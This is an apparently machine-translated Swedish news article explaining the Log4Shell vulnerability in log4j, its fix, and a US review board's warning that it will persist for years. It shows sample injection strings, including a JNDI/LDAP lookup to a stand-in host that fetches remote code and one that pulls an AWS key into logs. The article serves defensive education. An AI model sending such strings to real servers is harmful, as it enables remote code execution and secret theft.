8 månader senare säger USA att Log4Shell kommer att finnas kvar i "ett decennium eller längre"

Källnod: 1581315

Kom ihåg Log4Shell?

Det var en farlig bugg i ett populärt Java-programmeringsverktyg med öppen källkod som heter log4j, förkortning för "Logging for Java", publicerad av Apache Software Foundation under en liberal, fri källkodslicens.

Om du någonsin har skrivit mjukvara av något slag, från den enklaste BAT-filen på en bärbar Windows-dator till den knäppaste megaapplikation som körs på ett helt rack av servrar, har du använt loggningskommandon.

Från basutgång som t.ex echo "Starting calculations (this may take a while)" skrivs ut på skärmen, hela vägen till formella meddelanden som sparats i en skriv-en gång-databas av revisions- eller efterlevnadsskäl, loggning är en viktig del av de flesta program, särskilt när något går sönder och du behöver en tydlig registrering av exakt hur långt du kom innan problemet slog till.

Log4Shell sårbarhet (faktiskt visade det sig att det fanns flera relaterade problem, men vi kommer att behandla dem alla som om de vore ett enda stort problem här, för enkelhetens skull) visade sig vara halvt bugg, halvt funktion.

Med andra ord, Log4j gjorde vad den sa i manualen, till skillnad från i en bugg som ett buffertspill, där det felande programmet felaktigt försöker stöka runt med data som det lovade att det skulle lämna ifred...

…men om du inte hade läst manualen riktigt noggrant och själv vidtagit ytterligare försiktighetsåtgärder genom att lägga till ett lager av noggrann inmatningsverifiering ovanpå Log4j, kan din programvara lossna.

Riktigt, dåligt, helt otippat.

Interpolation anses vara skadligt

Enkelt uttryckt, Log4j registrerade inte alltid loggmeddelanden exakt som du gav dem.

Istället hade den en "funktion" känd på olika sätt och förvirrande i jargongen som interpole, kommandosubstitution or automatisk omskrivning, så att du kan utlösa textmanipuleringsfunktioner i själva loggningsverktyget, utan att behöva skriva en egen kod för att göra det.

Till exempel skulle texten i INPUT-kolumnen nedan loggas bokstavligen, precis som du ser den, vilket förmodligen är vad du kan förvänta dig av en loggningsverktygssats, speciellt om du vill hålla en exakt redovisning av indata som dina användare presenterade av regulatoriska skäl:

INPUT OUTCOME ---------------------------------------------------- ANVÄNDARNAMN =anka -> ANVÄNDARNAMN=anka Nummerpresentation:555-555-5555 -> Nummerpresentation:555-555-5555 Aktuell version = 17.0.1 -> Aktuell version = 17.0.1

Men om du skickade in text insvept i den magiska karaktärssekvensen ${...}, skulle loggern ibland göra smarta saker med den, efter att ha tagit emot texten men innan den faktiskt skrev in i loggfilen, så här:

INPUT OUTCOME ---------------------------------- -------------------- ----------------------------- CURRENT=${java:version}/${java:os} -> CURRENT=Javaversion 17.0.1/Windows 10 10.0 Serverkontot är: ${env:USER} -> Serverkontot är: root ${env:AWS_ACCESS_KEY_ID} -> SECRETDATAINTENDEDTOBEINMEMORYONLY

Om du accepterar loggningstext från en pålitlig källa, där det är rimligt att tillåta loggaren att kontrollera loggaren genom att säga till den att ersätta vanlig text med interna data, är denna typ av textomskrivning användbar.

Men om ditt mål är att hålla reda på data som skickats in av en fjärranvändare, kanske för regulatoriska journalföringsändamål, är den här typen av automatisk omskrivning dubbelt farlig:

  • I händelse av en tvist, du har inte en tillförlitlig registrering av vad användaren faktiskt skickade, med tanke på att det kan ha ändrats mellan input och output.
  • En illvillig användare kan skicka smygkonstruerade indata för att provocera din server att göra något den inte var tänkt att göra.

Om du loggar användarinmatningar som deras webbläsares identifieringssträng, säg (känd på jargongen som User-Agent), eller deras användarnamn eller telefonnummer, vill du inte ge användaren en chans att lura dig att skriva privata data (såsom en minneslösenordssträng som AWS_ACCESS_KEY_ID i exemplet ovan) till en permanent loggfil.

Speciellt om du självsäkert har sagt till dina revisorer eller tillsynsmyndigheten att du aldrig skriver lösenord i klartext till permanent lagring. (Du borde inte göra det här, även om du inte officiellt har sagt till regulatorn att du inte gör det!)

Värre att komma

I Log4Shell is-it-a-bug-or-is-it-a-feature-fallet var det dock mycket värre än de redan riskfyllda exemplen vi har visat ovan.

Till exempel kan en användare som avsiktligt skickat in data som indata som visas nedan utlösa en verkligt farlig händelsesekvens:

INPUT OUTCOME ------------------------------------------------ ---------------------------------------- ${jndi:ldap://dodgy. server.example:8888/BadThing} -> Ladda ner och kör ett fjärrprogram för Java!?

I "interpolations"-strängen ovan visas ${...} teckensekvens som inkluderar förkortningarna jndi och ldap sa till Log4j att göra detta:

  • Använd Java Naming and Directory Interface (JNDI) att lokalisera dodgy.server.example uppkopplad.
  • Anslut till den servern via LDAP, använder TCP-port 8888.
  • Begär uppgifterna lagras i LDAP-objektet BadThing.

Med andra ord kan angripare skicka in specialgjorda indata som skulle instruera din server att "ringa hem" till en server under deras kontroll, utan så mycket som en by-your-love.

Hur kan detta vara en "funktion"?

Du kanske undrar hur en "funktion" som denna någonsin kom in i Log4j-koden.

Men den här typen av textomskrivning kan vara användbar så länge du loggar data från en pålitlig källa.

Till exempel kan du logga ett numeriskt användar-ID, men också be loggern att använda LDAP (den lätt katalogåtkomstprotokoll, som används ofta i branschen, inklusive av Microsofts Active Directory-system) för att hämta och spara användarnamnet som är kopplat till det kontonumret vid den tiden.

Detta skulle förbättra både läsbarheten och det historiska värdet av posten i loggfilen.

Men LDAP-servern som Log4j anropade i exemplet ovan (som valdes av fjärranvändaren, glöm inte) är osannolikt att veta sanningen, än mindre att berätta det, och en illvillig användare kan därför använda detta trick fyll upp dina loggar med falska och till och med juridiskt tvivelaktiga data.

Ännu värre, LDAP-servern kunde returnera förkompilerad Java-kod för att generera data som ska loggas, och din server skulle plikttroget köra det programmet – ett okänt program, levererat av en opålitlig server, vald av en opålitlig användare.

Löst sagt, om någon server, var som helst i ditt nätverk, loggade otillförlitlig indata som hade kommit in utifrån, och använde Log4j för att göra det...

…då kan den inmatningen användas som ett direkt och omedelbart sätt att lura din server att köra någon annans kod, precis som det.

Det kallas RCE på jargongen, förkortning för extern kod exekvering, och RCE-buggar är i allmänhet de mest eftertraktade av cyberkriminella eftersom de vanligtvis kan utnyttjas för att implantera skadlig programvara automatiskt.

Tyvärr innebar arten av denna bugg att faran inte var begränsad till internetservrar, så att använda webbservrar skrivna i C, inte Java (t.ex. IIS, Apache https, nginx), och därför inte själva använde buggy Log4j-kod, befriade dig inte från risk.

I teorin, alla back-end Java-appar som tog emot och loggade data från någon annanstans i ditt nätverk och som använde Log4j-biblioteket ...

… skulle potentiellt kunna nås och utnyttjas av utomstående angripare.

Fixningen var ganska enkel:

  • Hitta gamla versioner av Log4j var som helst och överallt i ditt nätverk. Java-moduler har vanligtvis namn som log4j-api-2.14.0.jar och log4j-core-2.14.0.jarDär jar är en förkortning för Java-arkiv, en speciellt strukturerad typ av ZIP-fil. Med ett sökbart prefix, en definitiv förlängning och versionsnumret inbäddat i filnamnet är det faktiskt ganska enkelt att snabbt hitta stötande filer med "fel" versioner av Java-bibliotekskoden.
  • Byt ut buggyversionerna med nyare, lappade.
  • Om du inte kunde ändra Log4J-versionen, du kan minska eller ta bort risken genom att ta bort en enskild kodmodul från buggy-paketet Log4j (Java-koden som hanterade JNDI-uppslagningar, enligt beskrivningen ovan), och packa om din egen slimmade JAR-fil med felet undertryckt.

Sagan fortsätter

Tyvärr har en nyligen detaljerad rapport på Log4Shell-sagan, publicerad förra veckan av USA Cybersecurity Review Board (CSRB), en del av Department of Homeland Security, innehåller det oroande förslaget (vår betoning nedan) att:

[T]eventet Log4j är inte över. [CSRB] bedömer att Log4j är en "endemisk sårbarhet" och att sårbara instanser av Log4j kommer att finnas kvar i systemen i många år framöver, kanske ett decennium eller längre. Betydande risk kvarstår.

Vad göra?

På 42 sidor (enbart sammanfattningen uppgår till nästan tre sidor), den Styrelsens rapport är ett långt dokument och delar av det är tungt.

Men vi rekommenderar att du läser igenom den, eftersom det är en fascinerande berättelse om hur även cybersäkerhetsproblem som borde vara snabba och enkla att åtgärda kan ignoreras, eller skjutas upp till senare, eller lika bra som förnekas helt som "någon annans problem" att fixa.

Anmärkningsvärda förslag från den amerikanska offentliga tjänsten, som vi helhjärtat stöder, inkluderar:

  • Utveckla kapaciteten att upprätthålla en korrekt informationsteknologi (IT) tillgång och applikationsinventering.
  • [Sätt upp en] dokumenterad program för sårbarhet.
  • [Sätt upp en] dokumenterad process för avslöjande och hantering av sårbarheter.

När det gäller cybersäkerhet, fråga inte vad alla andra kan göra för dig...

…men tänk på vad du kan göra för dig själv, för alla förbättringar du gör kommer nästan säkert gynna alla andra också.


[Inbäddat innehåll]


Tidsstämpel:

Mer från Naken säkerhet